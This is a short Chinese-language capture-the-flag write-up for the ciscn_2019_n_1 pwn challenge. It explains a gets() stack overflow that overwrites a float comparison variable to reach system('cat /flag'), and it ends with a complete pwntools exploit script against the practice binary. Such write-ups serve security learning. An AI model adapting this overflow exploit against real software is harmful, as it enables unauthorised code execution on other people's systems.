ciscn_2019_n_1
使用checksec
查看:
放进IDA中分析:
- 跟进
func()
函数
func()
:
gets(&v1);
:存在栈溢出if ( v2 == 11.28125 ) result = system("cat /flag");
:只需v2
等于11.28125
就能够获得flag
步骤解析
只需满足
v2
等于11.28125
即可
v1
可写入任意长度数据,距离v2
0x2C
直接到
v2
处覆盖v2
为0x41348000
即可至于为什么
v2
是0x41348000
,因本题这个数是写在.data段里面的,可以直接查找到
完整exp
from pwn import *
# r = remote("node4.buuoj.cn",29953)
r = process("../buu/ciscn_2019_n_1")
#attack
payload = b'M'*(0x30-4) + p64(0x41348000)
# sys_addr=0x4006BE
# payload=b'M'*56 + p64(sys_addr)
r.sendline(payload)
r.interactive()